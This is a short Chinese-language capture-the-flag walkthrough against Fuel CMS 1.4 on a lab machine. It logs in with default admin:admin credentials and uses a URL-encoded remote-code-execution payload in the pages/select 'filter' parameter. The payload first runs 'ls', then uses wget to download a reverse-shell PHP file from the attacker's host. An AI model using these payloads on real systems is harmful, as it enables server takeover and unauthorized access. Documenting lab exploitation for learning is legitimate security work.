首先显示是一个叫 Fuel CMS 的 CMS, 版本号是 1.4
裸露了目录的一些门路信息
裸露了原始登录明码：
That's it!
To access the FUEL admin, go to:
http://10.10.248.97/fuel
User name: admin
Password: admin (you can and should change this password and admin user information after logging in)
咱们应用 admin:admin 到http://10.10.248.97/fuel登录，能够登录！
然而进去貌似找不到能够批改 php 源码的入口
在 kali 搜寻这个 cms 的可利用破绽

python 和 ruby 脚本我这边执行不了，不过 ruby 的 payload 独自拿下来到浏览器能够执行
payload, 执行 ls 命令
view-source:http://10.10.248.97/fuel/pages/select/?filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a('ls')%2B%27
下载一个正经的 webshell
view-source:http://10.10.248.97/fuel/pages/select/?filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a('wget http://10.13.21.169:8000/reverse_shell.php')%2B%27
执行反弹

获取 webshell，拿到 flag
